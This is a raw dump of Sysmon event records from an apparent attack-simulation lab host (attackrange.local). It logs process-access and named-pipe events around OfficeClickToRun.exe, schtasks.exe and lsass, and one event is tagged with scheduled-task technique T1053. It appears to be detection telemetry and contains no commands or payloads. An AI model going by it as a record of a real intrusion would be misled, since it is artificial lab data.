Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040853Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.752{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040852Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.752{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}3944C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040851Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.752{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}6240C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040850Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.752{7BD73061-6E00-613B-E006-00000000F001}59925948C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{00000000-0000-0000-0000-000000000000}6240C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+546a1|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+544db|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+3a992d|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+3a9830|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4acd0f|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4366da|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+436a55|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4831bb|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+620c4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d4ccf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+2394a2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+174aca|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040849Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.752{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040848Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.737{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000040847Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10532021-09-10 14:44:05.737{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exeC:\Windows\System32\Tasks\Microsoft\Office\Office Automatic Updates 2.02021-09-10 14:44:05.737 10341000x800000000000000040846Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.737{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040845Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.737{7BD73061-65B0-613B-0B00-00000000F001}6203916C:\Windows\system32\lsass.exe{7BD73061-6F35-613B-8A08-00000000F001}6652C:\Windows\system32\schtasks.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040844Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.737{7BD73061-65B0-613B-0B00-00000000F001}6203916C:\Windows\system32\lsass.exe{7BD73061-6F35-613B-8A08-00000000F001}6652C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040843Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.721{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F35-613B-8A08-00000000F001}6652C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040842Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.721{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040841Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.721{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040840Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.721{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040839Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.706{7BD73061-6F35-613B-8B08-00000000F001}71081092C:\Windows\system32\conhost.exe{7BD73061-6F35-613B-8A08-00000000F001}6652C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040838Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.706{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040837Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.706{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040836Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.706{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040835Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.706{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040834Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.706{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040833Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.706{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040832Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.706{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F35-613B-8B08-00000000F001}7108C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 18141800x800000000000000040831Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040830Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040829Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040828Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040827Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040826Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040825Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040824Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040823Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040822Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040821Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040820Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.690{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040819Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040818Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040817Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040816Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040815Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040814Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040813Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040812Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040811Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040810Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040809Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040808Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040807Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040806Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040805Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040804Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.690{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}6652C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040803Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}59925948C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{00000000-0000-0000-0000-000000000000}6652C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+546a1|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+544db|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+3a9809|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4acd0f|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4366da|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+436a55|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4831bb|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+620c4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d4ccf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+2394a2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+174aca|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040802Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040801Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040800Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.690{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040799Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040798Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040797Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040796Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040795Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040794Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040793Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.690{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 